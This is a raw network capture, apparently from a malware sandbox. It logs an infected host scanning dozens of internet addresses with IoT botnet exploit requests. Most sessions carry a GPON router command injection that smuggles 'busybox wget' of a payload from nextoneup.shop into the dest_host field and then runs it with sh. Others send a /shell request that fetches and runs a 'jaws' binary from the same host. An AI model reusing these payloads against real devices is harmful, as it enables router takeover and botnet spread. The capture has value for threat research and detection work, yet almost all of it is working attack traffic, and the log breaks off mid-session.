Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL4</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.23	38560	24.32.193.60	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.569817066 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:09.706521988 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:09.923954010 CEST	340	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 22:00:08 GMT Server: App-webs/ Content-Length: 181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.23	54374	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.641299963 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.23	58672	93.191.192.124	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.908494949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.23	54362	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:08.938355923 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.23	49754	184.29.247.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.017728090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:09.464775085 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:09 GMT Date: Sun, 14 Apr 2024 02:00:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 65 66 62 36 64 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 39 26 23 34 36 3b 31 65 37 31 61 31 35 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 65 66 62 36 64 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 30 39 26 23 34 36 3b 31 65 37 31 61 31 35 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3efb6d68.1713060009.1e71a153<P>https://errors.edgesuite.net/9.3efb6d68.1713060009.1e71a153</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.23	59528	123.180.175.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256628990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.23	49118	79.81.90.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256725073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.23	46190	42.78.1.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256757975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.23	45220	178.187.28.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256791115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.23	49282	5.231.13.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256814003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.23	54074	210.3.224.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256872892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.23	43282	42.23.88.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256905079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.23	57042	117.57.42.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256958008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.23	37834	109.161.197.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.256997108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.23	46692	109.173.117.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257002115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.23	48996	148.113.97.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257081032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.23	40404	212.243.255.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257112026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.23	41194	118.189.233.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257183075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.23	44518	148.210.204.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257266045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.23	60170	117.213.20.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257312059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.23	45892	2.166.226.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257335901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.23	57572	118.152.25.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257379055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.23	59212	212.36.183.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257431984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.23	43630	2.169.131.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257472038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.23	57562	94.2.121.63	443

Timestamp	Bytes transferred	Direction	Data
